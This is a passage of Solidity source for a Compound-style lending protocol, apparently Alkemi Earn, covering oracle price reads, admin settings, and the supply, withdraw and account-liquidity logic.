(uint256 priceMantissa, uint8 assetDecimals) = priceOracle
.getAssetPrice(asset);
(Error err, uint256 magnification) = sub(18, uint256(assetDecimals));
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
(err, priceMantissa) = mul(priceMantissa, 10**magnification);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
return (Error.NO_ERROR, Exp({mantissa: priceMantissa}));
}
/**
* @notice Reads scaled price of specified asset from the price oracle
* @dev Reads scaled price of specified asset from the price oracle.
* The plural name is to match a previous storage mapping that this function replaced.
* @param asset Asset whose price should be retrieved
* @return 0 on an error or missing price, the price scaled by 1e18 otherwise
*/
function assetPrices(address asset) public view returns (uint256) {
(Error err, Exp memory result) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return 0;
}
return result.mantissa;
}
/**
* @dev Gets the amount of the specified asset given the specified Eth value
* ethValue / oraclePrice = assetAmountWei
* If there's no oraclePrice, this returns (Error.DIVISION_BY_ZERO, 0)
* @return Return value is expressed in a magnified scale per token decimals
*/
function getAssetAmountForValue(address asset, Exp ethValue)
internal
view
returns (Error, uint256)
{
Error err;
Exp memory assetPrice;
Exp memory assetAmount;
(err, assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, assetAmount) = divExp(ethValue, assetPrice);
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(assetAmount));
}
/**
* @notice Admin Functions. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin
* @param newOracle New oracle address
* @param requestedState value to assign to `paused`
* @param originationFeeMantissa rational collateral ratio, scaled by 1e18.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _adminFunctions(
address newPendingAdmin,
address newOracle,
bool requestedState,
uint256 originationFeeMantissa,
uint256 newCloseFactorMantissa
) public returns (uint256) {
// Check caller = admin
require(msg.sender == admin, "SET_PENDING_ADMIN_OWNER_CHECK");
// newPendingAdmin can be 0x00, hence not checked
require(newOracle != address(0), "Cannot set weth address to 0x00");
require(
originationFeeMantissa < 10**18 && newCloseFactorMantissa < 10**18,
"Invalid Origination Fee or Close Factor Mantissa"
);
// Store pendingAdmin = newPendingAdmin
pendingAdmin = newPendingAdmin;
// Verify contract at newOracle address supports assetPrices call.
// This will revert if it doesn't.
// ChainLink priceOracleTemp = ChainLink(newOracle);
// priceOracleTemp.getAssetPrice(address(0));
// Initialize the Chainlink contract in priceOracle
priceOracle = ChainLink(newOracle);
paused = requestedState;
// Save current value so we can emit it in log.
Exp memory oldOriginationFee = originationFee;
originationFee = Exp({mantissa: originationFeeMantissa});
emit NewOriginationFee(
oldOriginationFee.mantissa,
originationFeeMantissa
);
closeFactorMantissa = newCloseFactorMantissa;
return uint256(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() public returns (uint256) {
// Check caller = pendingAdmin
// msg.sender can't be zero
require(msg.sender == pendingAdmin, "ACCEPT_ADMIN_PENDING_ADMIN_CHECK");
// Save current value for inclusion in log
address oldAdmin = admin;
// Store admin = pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = 0;
emit NewAdmin(oldAdmin, msg.sender);
return uint256(Error.NO_ERROR);
}
/**
* @notice returns the liquidity for given account.
* a positive result indicates ability to borrow, whereas
* a negative result indicates a shortfall which may be liquidated
* @dev returns account liquidity in terms of eth-wei value, scaled by 1e18 and truncated when the value is 0 or when the last few decimals are 0
* note: this includes interest trued up on all balances
* @param account the account to examine
* @return signed integer in terms of eth-wei (negative indicates a shortfall)
*/
function getAccountLiquidity(address account) public view returns (int256) {
(
Error err,
Exp memory accountLiquidity,
Exp memory accountShortfall
) = calculateAccountLiquidity(account);
revertIfError(err);
if (isZeroExp(accountLiquidity)) {
return -1 * int256(truncate(accountShortfall));
} else {
return int256(truncate(accountLiquidity));
}
}
/**
* @notice return supply balance with any accumulated interest for `asset` belonging to `account`
* @dev returns supply balance with any accumulated interest for `asset` belonging to `account`
* @param account the account to examine
* @param asset the market asset whose supply balance belonging to `account` should be checked
* @return uint supply balance on success, throws on failed assertion otherwise
*/
function getSupplyBalance(address account, address asset)
public
view
returns (uint256)
{
Error err;
uint256 newSupplyIndex;
uint256 userSupplyCurrent;
Market storage market = markets[asset];
Balance storage supplyBalance = supplyBalances[account][asset];
// Calculate the newSupplyIndex, needed to calculate user's supplyCurrent
(err, newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
revertIfError(err);
// Use newSupplyIndex and stored principal to calculate the accumulated balance
(err, userSupplyCurrent) = calculateBalance(
supplyBalance.principal,
supplyBalance.interestIndex,
newSupplyIndex
);
revertIfError(err);
return userSupplyCurrent;
}
/**
* @notice return borrow balance with any accumulated interest for `asset` belonging to `account`
* @dev returns borrow balance with any accumulated interest for `asset` belonging to `account`
* @param account the account to examine
* @param asset the market asset whose borrow balance belonging to `account` should be checked
* @return uint borrow balance on success, throws on failed assertion otherwise
*/
function getBorrowBalance(address account, address asset)
public
view
returns (uint256)
{
Error err;
uint256 newBorrowIndex;
uint256 userBorrowCurrent;
Market storage market = markets[asset];
Balance storage borrowBalance = borrowBalances[account][asset];
// Calculate the newBorrowIndex, needed to calculate user's borrowCurrent
(err, newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
revertIfError(err);
// Use newBorrowIndex and stored principal to calculate the accumulated balance
(err, userBorrowCurrent) = calculateBalance(
borrowBalance.principal,
borrowBalance.interestIndex,
newBorrowIndex
);
revertIfError(err);
return userBorrowCurrent;
}
/**
* @notice Supports a given market (asset) for use
* @dev Admin function to add support for a market
* @param asset Asset to support; MUST already have a non-zero price set
* @param interestRateModel InterestRateModel to use for the asset
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _supportMarket(address asset, InterestRateModel interestRateModel)
public
returns (uint256)
{
// Check caller = admin
require(msg.sender == admin, "SUPPORT_MARKET_OWNER_CHECK");
require(interestRateModel != address(0), "Rate Model cannot be 0x00");
// Hard cap on the maximum number of markets allowed
require(
collateralMarkets.length < 16, // 16 = MAXIMUM_NUMBER_OF_MARKETS_ALLOWED
"Exceeding the max number of markets allowed"
);
(Error err, Exp memory assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPORT_MARKET_FETCH_PRICE_FAILED);
}
if (isZeroExp(assetPrice)) {
return
fail(
Error.ASSET_NOT_PRICED,
FailureInfo.SUPPORT_MARKET_PRICE_CHECK
);
}
// Set the interest rate model to `modelAddress`
markets[asset].interestRateModel = interestRateModel;
// Append asset to collateralAssets if not set
addCollateralMarket(asset);
// Set market isSupported to true
markets[asset].isSupported = true;
// Default supply and borrow index to 1e18
if (markets[asset].supplyIndex == 0) {
markets[asset].supplyIndex = initialInterestIndex;
}
if (markets[asset].borrowIndex == 0) {
markets[asset].borrowIndex = initialInterestIndex;
}
emit SupportedMarket(asset, interestRateModel);
return uint256(Error.NO_ERROR);
}
/**
* @notice Suspends a given *supported* market (asset) from use.
* Assets in this state do count for collateral, but users may only withdraw, payBorrow,
* and liquidate the asset. The liquidate function no longer checks collateralization.
* @dev Admin function to suspend a market
* @param asset Asset to suspend
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _suspendMarket(address asset) public returns (uint256) {
// Check caller = admin
require(msg.sender == admin, "SUSPEND_MARKET_OWNER_CHECK");
// If the market is not configured at all, we don't want to add any configuration for it.
// If we find !markets[asset].isSupported then either the market is not configured at all, or it
// has already been marked as unsupported. We can just return without doing anything.
// Caller is responsible for knowing the difference between not-configured and already unsupported.
if (!markets[asset].isSupported) {
return uint256(Error.NO_ERROR);
}
// If we get here, we know market is configured and is supported, so set isSupported to false
markets[asset].isSupported = false;
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets the risk parameters: collateral ratio and liquidation discount
* @dev Owner function to set the risk parameters
* @param collateralRatioMantissa rational collateral ratio, scaled by 1e18. The de-scaled value must be >= 1.1
* @param liquidationDiscountMantissa rational liquidation discount, scaled by 1e18. The de-scaled value must be <= 0.1 and must be less than (descaled collateral ratio minus 1)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setRiskParameters(
uint256 collateralRatioMantissa,
uint256 liquidationDiscountMantissa
) public returns (uint256) {
// Check caller = admin
require(msg.sender == admin, "SET_RISK_PARAMETERS_OWNER_CHECK");
// Input validations
require(
collateralRatioMantissa >= minimumCollateralRatioMantissa &&
liquidationDiscountMantissa <=
maximumLiquidationDiscountMantissa,
"Liquidation discount is more than max discount or collateral ratio is less than min ratio"
);
Exp memory newCollateralRatio = Exp({
mantissa: collateralRatioMantissa
});
Exp memory newLiquidationDiscount = Exp({
mantissa: liquidationDiscountMantissa
});
Exp memory minimumCollateralRatio = Exp({
mantissa: minimumCollateralRatioMantissa
});
Exp memory maximumLiquidationDiscount = Exp({
mantissa: maximumLiquidationDiscountMantissa
});
Error err;
Exp memory newLiquidationDiscountPlusOne;
// Make sure new collateral ratio value is not below minimum value
if (lessThanExp(newCollateralRatio, minimumCollateralRatio)) {
return
fail(
Error.INVALID_COLLATERAL_RATIO,
FailureInfo.SET_RISK_PARAMETERS_VALIDATION
);
}
// Make sure new liquidation discount does not exceed the maximum value, but reverse operands so we can use the
// existing `lessThanExp` function rather than adding a `greaterThan` function to Exponential.
if (lessThanExp(maximumLiquidationDiscount, newLiquidationDiscount)) {
return
fail(
Error.INVALID_LIQUIDATION_DISCOUNT,
FailureInfo.SET_RISK_PARAMETERS_VALIDATION
);
}
// C = L+1 is not allowed because it would cause division by zero error in `calculateDiscountedRepayToEvenAmount`
// C < L+1 is not allowed because it would cause integer underflow error in `calculateDiscountedRepayToEvenAmount`
(err, newLiquidationDiscountPlusOne) = addExp(
newLiquidationDiscount,
Exp({mantissa: mantissaOne})
);
assert(err == Error.NO_ERROR); // We already validated that newLiquidationDiscount does not approach overflow size
if (
lessThanOrEqualExp(
newCollateralRatio,
newLiquidationDiscountPlusOne
)
) {
return
fail(
Error.INVALID_COMBINED_RISK_PARAMETERS,
FailureInfo.SET_RISK_PARAMETERS_VALIDATION
);
}
// Save current values so we can emit them in log.
Exp memory oldCollateralRatio = collateralRatio;
Exp memory oldLiquidationDiscount = liquidationDiscount;
// Store new values
collateralRatio = newCollateralRatio;
liquidationDiscount = newLiquidationDiscount;
emit NewRiskParameters(
oldCollateralRatio.mantissa,
collateralRatioMantissa,
oldLiquidationDiscount.mantissa,
liquidationDiscountMantissa
);
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets the interest rate model for a given market
* @dev Admin function to set interest rate model
* @param asset Asset to support
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setMarketInterestRateModel(
address asset,
InterestRateModel interestRateModel
) public returns (uint256) {
// Check caller = admin
require(
msg.sender == admin,
"SET_MARKET_INTEREST_RATE_MODEL_OWNER_CHECK"
);
require(interestRateModel != address(0), "Rate Model cannot be 0x00");
// Set the interest rate model to `modelAddress`
markets[asset].interestRateModel = interestRateModel;
emit SetMarketInterestRateModel(asset, interestRateModel);
return uint256(Error.NO_ERROR);
}
/**
* @notice withdraws `amount` of `asset` from equity for asset, as long as `amount` <= equity. Equity = cash + borrows - supply
* @dev withdraws `amount` of `asset` from equity for asset, enforcing amount <= cash + borrows - supply
* @param asset asset whose equity should be withdrawn
* @param amount amount of equity to withdraw; must not exceed equity available
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _withdrawEquity(address asset, uint256 amount)
public
returns (uint256)
{
// Check caller = admin
require(msg.sender == admin, "EQUITY_WITHDRAWAL_MODEL_OWNER_CHECK");
// Check that amount is less than cash (from ERC-20 of self) plus borrows minus supply.
// Get supply and borrows with interest accrued till the latest block
(
uint256 supplyWithInterest,
uint256 borrowWithInterest
) = getMarketBalances(asset);
(Error err0, uint256 equity) = addThenSub(
getCash(asset),
borrowWithInterest,
supplyWithInterest
);
if (err0 != Error.NO_ERROR) {
return fail(err0, FailureInfo.EQUITY_WITHDRAWAL_CALCULATE_EQUITY);
}
if (amount > equity) {
return
fail(
Error.EQUITY_INSUFFICIENT_BALANCE,
FailureInfo.EQUITY_WITHDRAWAL_AMOUNT_VALIDATION
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
if (asset != wethAddress) {
// Withdrawal should happen as Ether directly
// We ERC-20 transfer the asset out of the protocol to the admin
Error err2 = doTransferOut(asset, admin, amount);
if (err2 != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return
fail(
err2,
FailureInfo.EQUITY_WITHDRAWAL_TRANSFER_OUT_FAILED
);
}
} else {
withdrawEther(admin, amount); // send Ether to user
}
(, markets[asset].supplyRateMantissa) = markets[asset]
.interestRateModel
.getSupplyRate(
asset,
getCash(asset) - amount,
markets[asset].totalSupply
);
(, markets[asset].borrowRateMantissa) = markets[asset]
.interestRateModel
.getBorrowRate(
asset,
getCash(asset) - amount,
markets[asset].totalBorrows
);
//event EquityWithdrawn(address asset, uint equityAvailableBefore, uint amount, address owner)
emit EquityWithdrawn(asset, equity, amount, admin);
return uint256(Error.NO_ERROR); // success
}
/**
* @dev Set WETH token contract address
* @param wethContractAddress Enter the WETH token address
*/
function setWethAddress(address wethContractAddress)
public
returns (uint256)
{
// Check caller = admin
require(msg.sender == admin, "SET_WETH_ADDRESS_ADMIN_CHECK_FAILED");
require(
wethContractAddress != address(0),
"Cannot set weth address to 0x00"
);
wethAddress = wethContractAddress;
WETHContract = AlkemiWETH(wethAddress);
return uint256(Error.NO_ERROR);
}
/**
* @dev Convert Ether supplied by user into WETH tokens and then supply corresponding WETH to user
* @return errors if any
* @param etherAmount Amount of ether to be converted to WETH
* @param user User account address
*/
function supplyEther(address user, uint256 etherAmount)
internal
returns (uint256)
{
user; // To silence the warning of unused local variable
if (wethAddress != address(0)) {
WETHContract.deposit.value(etherAmount)();
return uint256(Error.NO_ERROR);
} else {
return uint256(Error.WETH_ADDRESS_NOT_SET_ERROR);
}
}
/**
* @dev Revert Ether paid by user back to user's account in case transaction fails due to some other reason
* @param etherAmount Amount of ether to be sent back to user
* @param user User account address
*/
function revertEtherToUser(address user, uint256 etherAmount) internal {
if (etherAmount > 0) {
user.transfer(etherAmount);
}
}
/**
* @notice supply `amount` of `asset` (which must be supported) to `msg.sender` in the protocol
* @dev add amount of supported asset to msg.sender's account
* @param asset The market asset to supply
* @param amount The amount to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function supply(address asset, uint256 amount)
public
payable
nonReentrant
returns (uint256)
{
if (paused) {
revertEtherToUser(msg.sender, msg.value);
return
fail(Error.CONTRACT_PAUSED, FailureInfo.SUPPLY_CONTRACT_PAUSED);
}
refreshAlkSupplyIndex(asset, msg.sender, false);
Market storage market = markets[asset];
Balance storage balance = supplyBalances[msg.sender][asset];
SupplyLocalVars memory localResults; // Holds all our uint calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
uint256 rateCalculationResultCode; // Used for 2 interest rate calculation calls
// Fail if market not supported
if (!market.isSupported) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.MARKET_NOT_SUPPORTED,
FailureInfo.SUPPLY_MARKET_NOT_SUPPORTED
);
}
if (asset != wethAddress) {
// WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically
// Fail gracefully if asset is not approved or has insufficient balance
revertEtherToUser(msg.sender, msg.value);
err = checkTransferIn(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_NOT_POSSIBLE);
}
}
// We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset
(err, localResults.newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_NEW_SUPPLY_INDEX_CALCULATION_FAILED
);
}
(err, localResults.userSupplyCurrent) = calculateBalance(
balance.principal,
balance.interestIndex,
localResults.newSupplyIndex
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED
);
}
(err, localResults.userSupplyUpdated) = add(
localResults.userSupplyCurrent,
amount
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
// We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply
(err, localResults.newTotalSupply) = addThenSub(
market.totalSupply,
localResults.userSupplyUpdated,
balance.principal
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_NEW_TOTAL_SUPPLY_CALCULATION_FAILED
);
}
// We need to calculate what the updated cash will be after we transfer in from user
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = add(localResults.currentCash, amount);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(err, FailureInfo.SUPPLY_NEW_TOTAL_CASH_CALCULATION_FAILED);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market
.interestRateModel
.getSupplyRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
revertEtherToUser(msg.sender, msg.value);
return
failOpaque(
FailureInfo.SUPPLY_NEW_SUPPLY_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
// We calculate the newBorrowIndex (we already had newSupplyIndex)
(err, localResults.newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.SUPPLY_NEW_BORROW_INDEX_CALCULATION_FAILED
);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market
.interestRateModel
.getBorrowRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
revertEtherToUser(msg.sender, msg.value);
return
failOpaque(
FailureInfo.SUPPLY_NEW_BORROW_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save market updates
market.blockNumber = block.number;
market.totalSupply = localResults.newTotalSupply;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = balance.principal; // save for use in `SupplyReceived` event
balance.principal = localResults.userSupplyUpdated;
balance.interestIndex = localResults.newSupplyIndex;
if (asset != wethAddress) {
// WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
revertEtherToUser(msg.sender, msg.value);
err = doTransferIn(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_FAILED);
}
} else {
if (msg.value == amount) {
uint256 supplyError = supplyEther(msg.sender, msg.value);
if (supplyError != 0) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.WETH_ADDRESS_NOT_SET_ERROR,
FailureInfo.WETH_ADDRESS_NOT_SET_ERROR
);
}
} else {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.ETHER_AMOUNT_MISMATCH_ERROR,
FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR
);
}
}
emit SupplyReceived(
msg.sender,
asset,
amount,
localResults.startingBalance,
balance.principal
);
return uint256(Error.NO_ERROR); // success
}
/**
* @notice withdraw `amount` of `ether` from sender's account to sender's address
* @dev withdraw `amount` of `ether` from msg.sender's account to msg.sender
* @param etherAmount Amount of ether to be converted to WETH
* @param user User account address
*/
function withdrawEther(address user, uint256 etherAmount)
internal
returns (uint256)
{
WETHContract.withdraw(user, etherAmount);
return uint256(Error.NO_ERROR);
}
/**
* @notice withdraw `amount` of `asset` from sender's account to sender's address
* @dev withdraw `amount` of `asset` from msg.sender's account to msg.sender
* @param asset The market asset to withdraw
* @param requestedAmount The amount to withdraw (or -1 for max)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function withdraw(address asset, uint256 requestedAmount)
public
nonReentrant
returns (uint256)
{
if (paused) {
return
fail(
Error.CONTRACT_PAUSED,
FailureInfo.WITHDRAW_CONTRACT_PAUSED
);
}
refreshAlkSupplyIndex(asset, msg.sender, false);
Market storage market = markets[asset];
Balance storage supplyBalance = supplyBalances[msg.sender][asset];
WithdrawLocalVars memory localResults; // Holds all our calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
uint256 rateCalculationResultCode; // Used for 2 interest rate calculation calls
// We calculate the user's accountLiquidity and accountShortfall.
(
err,
localResults.accountLiquidity,
localResults.accountShortfall
) = calculateAccountLiquidity(msg.sender);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED
);
}
// We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset
(err, localResults.newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_NEW_SUPPLY_INDEX_CALCULATION_FAILED
);
}
(err, localResults.userSupplyCurrent) = calculateBalance(
supplyBalance.principal,
supplyBalance.interestIndex,
localResults.newSupplyIndex
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED
);
}
// If the user specifies -1 amount to withdraw ("max"), withdrawAmount => the lesser of withdrawCapacity and supplyCurrent
if (requestedAmount == uint256(-1)) {
(err, localResults.withdrawCapacity) = getAssetAmountForValue(
asset,
localResults.accountLiquidity
);
if (err != Error.NO_ERROR) {
return
fail(err, FailureInfo.WITHDRAW_CAPACITY_CALCULATION_FAILED);
}
localResults.withdrawAmount = min(
localResults.withdrawCapacity,
localResults.userSupplyCurrent
);
} else {
localResults.withdrawAmount = requestedAmount;
}
// From here on we should NOT use requestedAmount.
// Fail gracefully if protocol has insufficient cash
// If protocol has insufficient cash, the sub operation will underflow.
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = sub(
localResults.currentCash,
localResults.withdrawAmount
);
if (err != Error.NO_ERROR) {
return
fail(
Error.TOKEN_INSUFFICIENT_CASH,
FailureInfo.WITHDRAW_TRANSFER_OUT_NOT_POSSIBLE
);
}
// We check that the amount is less than or equal to supplyCurrent
// If amount is greater than supplyCurrent, this will fail with Error.INTEGER_UNDERFLOW
(err, localResults.userSupplyUpdated) = sub(
localResults.userSupplyCurrent,
localResults.withdrawAmount
);
if (err != Error.NO_ERROR) {
return
fail(
Error.INSUFFICIENT_BALANCE,
FailureInfo.WITHDRAW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
// Fail if customer already has a shortfall
if (!isZeroExp(localResults.accountShortfall)) {
return
fail(
Error.INSUFFICIENT_LIQUIDITY,
FailureInfo.WITHDRAW_ACCOUNT_SHORTFALL_PRESENT
);
}
// We want to know the user's withdrawCapacity, denominated in the asset
// Customer's withdrawCapacity of asset is (accountLiquidity in Eth)/ (price of asset in Eth)
// Equivalently, we calculate the eth value of the withdrawal amount and compare it directly to the accountLiquidity in Eth
(err, localResults.ethValueOfWithdrawal) = getPriceForAssetAmount(
asset,
localResults.withdrawAmount
); // amount * oraclePrice = ethValueOfWithdrawal
if (err != Error.NO_ERROR) {
return
fail(err, FailureInfo.WITHDRAW_AMOUNT_VALUE_CALCULATION_FAILED);
}
// We check that the amount is less than withdrawCapacity (here), and less than or equal to supplyCurrent (below)
if (
lessThanExp(
localResults.accountLiquidity,
localResults.ethValueOfWithdrawal
)
) {
return
fail(
Error.INSUFFICIENT_LIQUIDITY,
FailureInfo.WITHDRAW_AMOUNT_LIQUIDITY_SHORTFALL
);
}
// We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply.
// Note that, even though the customer is withdrawing, if they've accumulated a lot of interest since their last
// action, the updated balance *could* be higher than the prior checkpointed balance.
(err, localResults.newTotalSupply) = addThenSub(
market.totalSupply,
localResults.userSupplyUpdated,
supplyBalance.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_NEW_TOTAL_SUPPLY_CALCULATION_FAILED
);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market
.interestRateModel
.getSupplyRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo.WITHDRAW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
// We calculate the newBorrowIndex
(err, localResults.newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.WITHDRAW_NEW_BORROW_INDEX_CALCULATION_FAILED
);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market
.interestRateModel
.getBorrowRate(asset, localResults.updatedCash, market.totalBorrows);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo.WITHDRAW_NEW_BORROW_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save market updates
market.blockNumber = block.number;
market.totalSupply = localResults.newTotalSupply;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = supplyBalance.principal; // save for use in `SupplyWithdrawn` event
supplyBalance.principal = localResults.userSupplyUpdated;
supplyBalance.interestIndex = localResults.newSupplyIndex;
if (asset != wethAddress) {
// Withdrawal should happen as Ether directly
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
err = doTransferOut(asset, msg.sender, localResults.withdrawAmount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.WITHDRAW_TRANSFER_OUT_FAILED);
}
} else {
withdrawEther(msg.sender, localResults.withdrawAmount); // send Ether to user
}
emit SupplyWithdrawn(
msg.sender,
asset,
localResults.withdrawAmount,
localResults.startingBalance,
supplyBalance.principal
);
return uint256(Error.NO_ERROR); // success
}
/**
* @dev Gets the user's account liquidity and account shortfall balances. This includes
* any accumulated interest thus far but does NOT actually update anything in
* storage, it simply calculates the account liquidity and shortfall with liquidity being
* returned as the first Exp, ie (Error, accountLiquidity, accountShortfall).
* @return Return values are expressed in 1e18 scale
*/
function calculateAccountLiquidity(address userAddress)
internal
view
returns (
Error,
Exp memory,
Exp memory
)
{
Error err;
Exp memory sumSupplyValuesMantissa;
Exp memory sumBorrowValuesMantissa;
(
err,
sumSupplyValuesMantissa,
sumBorrowValuesMantissa
) = calculateAccountValuesInternal(userAddress);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
Exp memory result;
Exp memory sumSupplyValuesFinal = Exp({
mantissa: sumSupplyValuesMantissa.mantissa
});
Exp memory sumBorrowValuesFinal; // need to apply collateral ratio
(err, sumBorrowValuesFinal) = mulExp(
collateralRatio,
Exp({mantissa: sumBorrowValuesMantissa.mantissa})
);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}), Exp({mantissa: 0}));
}
// if sumSupplies < sumBorrows, then the user is under collateralized and has account shortfall.
// else the user meets the collateral ratio and has account liquidity.
if (lessThanExp(sumSupplyValuesFinal, sumBorrowValuesFinal)) {
// accountShortfall = borrows - supplies
(err, result) = subExp(sumBorrowValuesFinal, sumSupplyValuesFinal);
assert(err == Error.NO_ERROR); // Note: we have checked that sumBorrows is greater than sumSupplies directly above, therefore `subExp` cannot fail.
return (Error.NO_ERROR, Exp({mantissa: 0}), result);
} else {
// accountLiquidity = supplies - borrows
(err, result) = subExp(sumSupplyValuesFinal, sumBorrowValuesFinal);
assert(err == Error.NO_ERROR); // Note: we have checked that sumSupplies is greater than sumBorrows directly above, therefore `subExp` cannot fail.
return (Error.NO_ERROR, result, Exp({mantissa: 0}));
}
}
/**
* @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18.
* This includes any accumulated interest thus far but does NOT actually update anything in
* storage
* @dev Gets ETH values of accumulated supply and borrow balances
* @param userAddress account for which to sum values
* @return (error code, sum ETH value of supplies scaled by 10e18, sum ETH value of borrows scaled by 10e18)
*/
function calculateAccountValuesInternal(address userAddress)
internal
view
returns (
Error,
Exp memory,
Exp memory
)
{
/** By definition, all collateralMarkets are those that contribute to the user's
* liquidity and shortfall so we need only loop through those markets.
* To handle avoiding intermediate negative results, we will sum all the user's
